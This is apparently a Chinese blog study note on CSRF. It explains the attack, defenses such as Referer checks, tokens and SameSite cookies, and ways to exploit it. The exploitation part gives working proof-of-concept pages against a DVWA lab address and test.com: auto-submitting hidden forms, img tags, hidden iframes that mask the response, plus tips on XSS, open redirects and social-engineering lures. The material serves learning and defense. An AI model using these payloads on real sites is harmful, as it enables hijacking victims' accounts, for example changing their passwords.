• csrf小结


    csrf-跨站请求伪造

    攻击者挟持你的身份凭证,以你的名义发起恶意的请求


    简单来说,CSRF必须经过两个步骤:

    1. 用户访问可信任站点A,并产生了相关的cookie;
    2. A站点的cookie仍有效,用户在访问危险站点B时,发起了对A站点的伪造请求;

    大家同时访问多个网站是很正常的事情,所以也很容易遭到CSRF的攻击。

    举例

    以改密码为例,改密码本质是发一个包含新密码的表单请求给接口
    攻击者构造好一个有隐藏的自动提交表单的页面,诱使受害者访问后,表单自动提交,浏览器带着接口域名的cookie,即你的身份凭证,发起了有改密码功能的请求给接口,接口如果只验证该请求是否带证明(cookie),则密码会被成功修改

    谈防御-与正常请求对比

    与正常请求相比,csrf的请求的不同之处

    1. Referer不同:Referer的作用是告诉后端,该请求从哪里/哪个页面/哪个url发出,因为csrf的请求是攻击者构造的,所以Referer来自于攻击者控制的网站url,验证此处是防御手段之一,但如果攻击者同时有受害网站的xss,则可以xss-csrf结合,使Referer来自于受害网站,从而绕过验证
    2. 没有token:token可以理解成一个与cookie类似的参数,有证明的作用,token通常会在用户正常浏览时,从后端返回给用户的前端,当用户进行敏感操作如改密码时,会带上此token,以验证此请求来自于一个正常的用户发起。token可以存在cookie中,也可以存在前端页面中,通常是hidden的表单,请求时作为一个参数一起post提交
      而因为csrf的请求通常来自于攻击者伪造的页面,如果没有其他漏洞的配合,是没有token的

    开发角度防御csrf

    https://www.cnblogs.com/hutuzhu/p/5919400.html

    1. 表单hash
    2. 验证referer
    3. http头自定义属性验证
    4. 关键操作加验证码

    服务端在设置 cookie 的时候,除了 cookie 的键和值以外,还可以同时给 cookie 设置一些属性,例如:

    Expires
    Max-Age
    Domain
    Path
    Secure
    HttpOnly
    SameSite
    

    同站 (same-site) 请求 VS 跨站 (cross-site) 请求

    一个 HTML 页面既可以发起同站请求,也可以发起跨站请求。当请求目标的 URL 对应的 site 与页面所在 URL 对应的 site 相同时,这个请求就是同站请求,反之就是跨站请求。
    例如:

    当 www.baidu.com 的网页,请求 static.baidu.com 域下的图片,这个请求属于同站请求
    当 a.github.io 的网页,请求 b.github.io 域下的图片,这个请求属于跨站请求

    这里要注意和同源策略里的 same origin 做一下区分。同源指的是同协议、同域名、同端口。同站只看 site 是否一致,不管协议和端口。所以同源一定同站,同站不一定同源。

    SameSite 属性

    SameSite 属性用来控制 HTTP 请求携带何种 cookie。这是通过它的三种值来实现:

    None
    Lax
    Strict
    

    对于 SameSite=Strict 的 cookie:只有同站请求会携带此类 cookie。
    对于 SameSite=None 的 cookie:同站请求和跨站请求都会携带此类 cookie。
    Lax 的行为介于 None 和 Strict 之间。对于 SameSite=Lax 的 cookie,除了同站请求会携带此类 cookie 之外,特定情况的跨站请求也会携带此类 cookie。
    特定情况的跨站请求指的是:safe cross-site top-level navigations(后文简称:安全的跨站顶级跳转),例如:

    点击超链接 <a> 产生的请求
    以 GET 方法提交表单产生的请求
    JS 修改 location 对象产生的跳转请求
    JS 调用 window.open() 等方式产生的跳转请求
    

    反过来,哪些跨站顶级跳转是不安全的呢?例如:
    以 POST 方法提交表单产生的请求
    通过不同方式发起跨站请求,cookie 发送情况可以简单总结为下表:


    最后一行的 prerender 请求有些特殊,它也会携带 SameSite=Lax 的 cookie

    https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484949&idx=1&sn=73f32260765596aa0fe773c755561308&chksm=96f41978a183906e0b4f21fddcbe2d19f667b6e6cf2bdb66160a744d161a7bac7b420acac005&mpshare=1&scene=23&srcid=&sharer_sharetime=1588181868189&sharer_shareid=573e169d70351017c968db63a63c0ed9#rd

    利用方式

    成功的利用需要受害者访问有csrf poc的页面,直接丢个链接给对方不现实,所以需要加点料

    与受信域的xss配合

    1. 当前窗口跳转
      <script>window.location.href="http://www.baidu.com"</script>
    2. 新窗口跳转,chrome会拦截
      <script>window.open("http://www.baidu.com")</script>
    3. ajax直接发出请求

    与url重定向配合

    www.aaa.com/url.php?url=www.csrfPOC.com

    社工

    男发女
    女发男
    老发震惊
    小发玩
    打客服

    burp POC+js自动提交表单

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
        <form name="表名" action="http://192.168.146.130/dvwa/vulnerabilities/csrf/" method="POST">
          <input type="hidden" name="id" value="admin" />
          <input type="hidden" name="pass" value="admin123" />
          <input type="hidden" name="Change" value="Change" />
          <input type="submit" value="Submit request" />
        </form>
    <script>
    document.forms.表名.submit();//自动提交表单
    </script>
      </body>
    </html>
    

    会显示响应,受害者会第一时间发现

    GET型csrf POC

    img标签

    <img src="http://www.test.com/csrf.php?username=admin&pass=admin">
    可以藏在一堆东西里

    带hidden属性的iframe

    <iframe hidden srcdoc='
     <img src="http://www.test.com/csrf.php?username=admin&pass=admin">
    '></iframe>
    

    POST型csrf POC

    利用iframe隐藏响应

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Welcome to CSRF</title>
    </head>
    <p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
    <body>
    <!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
    <iframe hidden srcdoc='
        <form name="dvwa" action="http://192.168.146.130/DVWA/vulnerabilities/xss_s/" method="POST">
          <input type="hidden" name="txtName" value="csrf" />
          <input type="hidden" name="mtxMessage" value="csrf" />
          <input type="hidden" name="btnSign" value="Sign&#32;Guestbook" />
          <input type="submit" value="Submit request" />
        </form>
     <script>
     document.forms.dvwa.submit();
     </script>
    '></iframe>
    </body>
    </html>
    


    ajax

    不会,求大佬赐个poc

  • 相关阅读:
    搭建Linux Kettle服务端重装系统软件或帮助
    JFrame加载Browser,Jxbrowser导入
    Bonita了解
    基于用户控件固定菜单MenuStrip/ToolStripMenuItem列表及动态菜单列表,是上一篇文章的综合和升级
    winfrom打开本地默认浏览器或打开IE浏览器
    Winfrom动态添加MenuStrip菜单,同时绑定反射事件,可扩展后期动态配置
    给GroupBox动态添加一个按钮,实现展开和折叠功能
    Rest导出Excel文件流
    List<HashMap>排序,List内存分页
    解决idea项目部署到Tomcat时Artiface没有文件
  • 原文地址:https://www.cnblogs.com/Rain99-/p/12668605.html
Copyright © 2020-2023  润新知